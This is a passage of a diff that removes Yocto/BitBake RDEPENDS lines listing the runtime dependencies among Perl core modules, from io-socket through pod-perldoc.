-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-unix"
-RDEPENDS_perl-module-io-socket += "perl-module-socket"
-RDEPENDS_perl-module-io-socket += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-file "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-list-util"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-encode"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-file"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-posix"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-zlib += "perl-module-fcntl"
-RDEPENDS_perl-module-io-zlib += "perl-module-io-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-strict"
-RDEPENDS_perl-module-io-zlib += "perl-module-tie-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-vars"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-constant"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-filehandle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-handle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-select"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-load"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-params-check"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-posix"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-socket"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-strict"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-text-parsewords"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-time-hires"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-vars"
-RDEPENDS_perl-module-ipc-msg += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-msg += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-msg += "perl-module-strict"
-RDEPENDS_perl-module-ipc-msg += "perl-module-vars"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-constant"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-fcntl"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-io-pipe"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-posix"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-config"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-dynaloader"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-vars"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-overload"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-b"
-RDEPENDS_perl-module-json-pp += "perl-module-bytes"
-RDEPENDS_perl-module-json-pp += "perl-module-constant"
-RDEPENDS_perl-module-json-pp += "perl-module-encode"
-RDEPENDS_perl-module-json-pp += "perl-module-exporter"
-RDEPENDS_perl-module-json-pp += "perl-module-json-pp-boolean"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigint"
-RDEPENDS_perl-module-json-pp += "perl-module-overload"
-RDEPENDS_perl-module-json-pp += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-subs"
-RDEPENDS_perl-module-less += "perl-module-strict"
-RDEPENDS_perl-module-less += "perl-module-warnings"
-RDEPENDS_perl-module-lib += "perl-module-config"
-RDEPENDS_perl-module-lib += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-exporter"
-RDEPENDS_perl-module-list-util += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-warnings"
-RDEPENDS_perl-module-list-util += "perl-module-xsloader"
-RDEPENDS_perl-module-list-util-xs += "perl-module-list-util"
-RDEPENDS_perl-module-list-util-xs += "perl-module-strict"
-RDEPENDS_perl-module-list-util-xs += "perl-module-warnings"
-RDEPENDS_perl-module-loaded += "perl-module-strict"
-RDEPENDS_perl-module-loaded += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-config"
-RDEPENDS_perl-module-load += "perl-module-constant"
-RDEPENDS_perl-module-load += "perl-module-exporter"
-RDEPENDS_perl-module-load += "perl-module-filehandle"
-RDEPENDS_perl-module-load += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-load += "perl-module-corelist"
-RDEPENDS_perl-module-load += "perl-module-load"
-RDEPENDS_perl-module-load += "perl-module-params-check"
-RDEPENDS_perl-module-load += "perl-module-strict"
-RDEPENDS_perl-module-load += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-version"
-RDEPENDS_perl-module-load += "perl-module-warnings"
-RDEPENDS_perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext-guts += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
-RDEPENDS_perl-module-locale-maketext += "perl-module-integer"
-RDEPENDS_perl-module-locale-maketext += "perl-module-strict"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-base"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-strict"
-RDEPENDS_perl-module-locale += "perl-module-config"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-constant"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-integer"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-xsloader"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigint += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-math-complex += "perl-module-config"
-RDEPENDS_perl-module-math-complex += "perl-module-exporter"
-RDEPENDS_perl-module-math-complex += "perl-module-overload"
-RDEPENDS_perl-module-math-complex += "perl-module-strict"
-RDEPENDS_perl-module-math-complex += "perl-module-warnings"
-RDEPENDS_perl-module-math-trig += "perl-module-exporter"
-RDEPENDS_perl-module-math-trig += "perl-module-math-complex"
-RDEPENDS_perl-module-math-trig += "perl-module-strict"
-RDEPENDS_perl-module-memoize-anydbm-file += "perl-module-vars"
-RDEPENDS_perl-module-memoize += "perl-module-config"
-RDEPENDS_perl-module-memoize += "perl-module-exporter"
-RDEPENDS_perl-module-memoize += "perl-module-strict"
-RDEPENDS_perl-module-memoize += "perl-module-vars"
-RDEPENDS_perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
-RDEPENDS_perl-module-memoize-storable += "perl-module-storable"
-RDEPENDS_perl-module-mime-base64 += "perl-module-exporter"
-RDEPENDS_perl-module-mime-base64 += "perl-module-strict"
-RDEPENDS_perl-module-mime-base64 += "perl-module-vars"
-RDEPENDS_perl-module-mime-base64 += "perl-module-xsloader"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-exporter"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-mime-base64"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-vars"
-RDEPENDS_perl-module-mro += "perl-module-strict"
-RDEPENDS_perl-module-mro += "perl-module-warnings"
-RDEPENDS_perl-module-mro += "perl-module-xsloader"
-RDEPENDS_perl-module-net-cmd += "perl-module-constant"
-RDEPENDS_perl-module-net-cmd += "perl-module-errno"
-RDEPENDS_perl-module-net-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-net-cmd += "perl-module-strict"
-RDEPENDS_perl-module-net-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-net-config += "perl-module-exporter"
-RDEPENDS_perl-module-net-config += "perl-module-socket"
-RDEPENDS_perl-module-net-config += "perl-module-strict"
-RDEPENDS_perl-module-net-config += "perl-module-warnings"
-RDEPENDS_perl-module-net-domain += "perl-module-exporter"
-RDEPENDS_perl-module-net-domain += "perl-module-net-config"
-RDEPENDS_perl-module-net-domain += "perl-module-posix"
-RDEPENDS_perl-module-net-domain += "perl-module-socket"
-RDEPENDS_perl-module-net-domain += "perl-module-strict"
-RDEPENDS_perl-module-net-domain += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-errno"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp += "perl-module-constant"
-RDEPENDS_perl-module-net-ftp += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ftp += "perl-module-file-basename"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-config"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-ftp-a"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-ftp += "perl-module-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp += "perl-module-time-local"
-RDEPENDS_perl-module-net-ftp += "perl-module-warnings"
-RDEPENDS_perl-module-net-hostent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-hostent += "perl-module-exporter"
-RDEPENDS_perl-module-net-hostent += "perl-module-socket"
-RDEPENDS_perl-module-net-hostent += "perl-module-strict"
-RDEPENDS_perl-module-net-netent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-netent += "perl-module-exporter"
-RDEPENDS_perl-module-net-netent += "perl-module-socket"
-RDEPENDS_perl-module-net-netent += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-filehandle"
-RDEPENDS_perl-module-net-netrc += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-warnings"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-config"
-RDEPENDS_perl-module-net-nntp += "perl-module-strict"
-RDEPENDS_perl-module-net-nntp += "perl-module-time-local"
-RDEPENDS_perl-module-net-nntp += "perl-module-warnings"
-RDEPENDS_perl-module-net-ping += "perl-module-constant"
-RDEPENDS_perl-module-net-ping += "perl-module-exporter"
-RDEPENDS_perl-module-net-ping += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ping += "perl-module-filehandle"
-RDEPENDS_perl-module-net-ping += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-net-ping += "perl-module-posix"
-RDEPENDS_perl-module-net-ping += "perl-module-socket"
-RDEPENDS_perl-module-net-ping += "perl-module-strict"
-RDEPENDS_perl-module-net-ping += "perl-module-time-hires"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-pop3 += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-config"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-pop3 += "perl-module-strict"
-RDEPENDS_perl-module-net-pop3 += "perl-module-warnings"
-RDEPENDS_perl-module-net-protoent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-protoent += "perl-module-exporter"
-RDEPENDS_perl-module-net-protoent += "perl-module-strict"
-RDEPENDS_perl-module-net-servent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-servent += "perl-module-exporter"
-RDEPENDS_perl-module-net-servent += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-smtp += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-config"
-RDEPENDS_perl-module-net-smtp += "perl-module-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-warnings"
-RDEPENDS_perl-module-net-time += "perl-module-exporter"
-RDEPENDS_perl-module-net-time += "perl-module-io-select"
-RDEPENDS_perl-module-net-time += "perl-module-io-socket"
-RDEPENDS_perl-module-net-time += "perl-module-net-config"
-RDEPENDS_perl-module-net-time += "perl-module-strict"
-RDEPENDS_perl-module-net-time += "perl-module-warnings"
-RDEPENDS_perl-module-next += "perl-module-overload"
-RDEPENDS_perl-module-next += "perl-module-strict"
-RDEPENDS_perl-module-next += "perl-module-warnings"
-RDEPENDS_perl-module-ok += "perl-module-strict"
-RDEPENDS_perl-module-ok += "perl-module-test-more"
-RDEPENDS_perl-module-opcode += "perl-module-exporter"
-RDEPENDS_perl-module-opcode += "perl-module-strict"
-RDEPENDS_perl-module-opcode += "perl-module-subs"
-RDEPENDS_perl-module-opcode += "perl-module-xsloader"
-RDEPENDS_perl-module-open += "perl-module-encode"
-RDEPENDS_perl-module-open += "perl-module-encoding"
-RDEPENDS_perl-module-open += "perl-module-warnings"
-RDEPENDS_perl-module-o += "perl-module-b"
-RDEPENDS_perl-module-ops += "perl-module-opcode"
-RDEPENDS_perl-module-overloading += "perl-module-overload-numbers"
-RDEPENDS_perl-module-overloading += "perl-module-warnings"
-RDEPENDS_perl-module-overload += "perl-module-mro"
-RDEPENDS_perl-module-overload += "perl-module-warnings-register"
-RDEPENDS_perl-module-params-check += "perl-module-exporter"
-RDEPENDS_perl-module-params-check += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-params-check += "perl-module-strict"
-RDEPENDS_perl-module-params-check += "perl-module-vars"
-RDEPENDS_perl-module-parent += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-strict"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-strict"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-scalar += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-base"
-RDEPENDS_perl-module-pod-checker += "perl-module-exporter"
-RDEPENDS_perl-module-pod-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-escapes += "perl-module-exporter"
-RDEPENDS_perl-module-pod-escapes += "perl-module-strict"
-RDEPENDS_perl-module-pod-escapes += "perl-module-vars"
-RDEPENDS_perl-module-pod-escapes += "perl-module-warnings"
-RDEPENDS_perl-module-pod-functions += "perl-module-exporter"
-RDEPENDS_perl-module-pod-functions += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-man += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-man += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-subs"
-RDEPENDS_perl-module-pod-man += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parselink += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parselink += "perl-module-strict"
-RDEPENDS_perl-module-pod-parselink += "perl-module-vars"
-RDEPENDS_perl-module-pod-parselink += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-fcntl"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-temp"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-text-parsewords"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-handle"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-select"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-strict"
